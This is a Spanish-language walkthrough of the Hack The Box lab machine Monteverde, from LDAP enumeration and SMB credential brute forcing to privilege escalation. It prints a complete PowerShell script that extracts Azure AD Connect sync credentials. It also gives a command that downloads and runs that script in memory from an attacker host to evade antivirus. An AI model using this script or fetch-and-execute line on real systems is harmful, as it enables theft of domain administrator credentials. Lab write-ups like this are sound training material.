Hack The Box — Monteverde Walkthrough

Hack The Box — Monteverde Walkthrough

Enumeración

Comenzamos realizando un escaneo rapido de todos los puertos abiertos:

nmap -p- — open -sT — min-rate 5000 -vvv -n -Pn 10.10.10.172

Enumeración LDAP

nmap -n -sV — script “ldap* and not brute” 10.10.10.172

Obtenemos la informacion de varios usuarios, vamos a filtrar estos resultados por el nombre de los mismos.

ldapsearch -x -H “ldap://10.10.10.172” -D ‘’ -w ‘’ -b “DC=MEGABANK,DC=LOCAL” | grep sAMAccountName:

No todos estos son usuarios reales obviamente y tampoco tienen porque ser del dominio para hacer una lista con ellos vamos a meter los que no tengan nombres separados de grupos

Normalmente cogeríamos los que parecen de usuarios y cuentas de servicio asi como usuarios que no son por defecto.

Creamos la lista y la validamos con kerberute

Si hacemos fuerza bruta con los propios nombres de usuario obtenemos acceso con el usuario SABatchJobs.

Vemos que el usuario es valido sin embargo no pertenece al grupo de administracion remota de Windows por lo que no podemos acceder con winrm.

Explotación

Probamos a volver a acceder a SMB con estas credenciales

Conseguimos listar los shares, explorandolos vemos un xml en users$

Lo descargamos y vemos que tiene una contraseña

Como estaba la carpeta de mhope probablemente sea suya pero vamos a confirmarlo con cme

Pertenecen a mhope el cual es miembro del grupo de Administracion Remota de Windows

Escalada de privilegios

No encontramos ningun vector de escalada con las enumeraciones básicas ni con winPEAS por lo que vamos a enumerar archivos

En Program Files vemos una instalacion de Azure por lo que buscaremos una explotacion relacionada.

Azure AD Connect for Red Teamers

El enfoque principal del artículo es sobre el servicio “Azure AD Connect”, que se utiliza para sincronizar la infraestructura local de Active Directory con Azure AD. Los atacantes pueden abusar de esta sincronización para obtener acceso no autorizado a cuentas y recursos en la nube.

El autor proporciona ejemplos de cómo los atacantes pueden obtener credenciales y contraseñas almacenadas en la base de datos de Azure AD Connect utilizando herramientas como “SharpZeroLogon” o “DCSync”. También discute cómo el proceso de sincronización permite el acceso a hashes de contraseñas de usuarios en la nube, lo que puede abrir la puerta a ataques de Pass-The-Hash.

Lo que nos interesa es el POC que contiene lo cual permitiria extraer la contraseña de administrador de la base de datos de Azure

Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb).ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:Program FilesMicrosoft Azure AD SyncBinmcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

Lo creamos en nuestro kali y como no podemos descargarlo por el AV lo ejecutaremos directamente desde fuera.

iex(new-object net.webclient).downloadstring(‘http://10.10.14.15:8888/azuread_cred.ps1')

Ya teniendo las credenciales de administrador podemos acceder con winrm o psexec

Tags: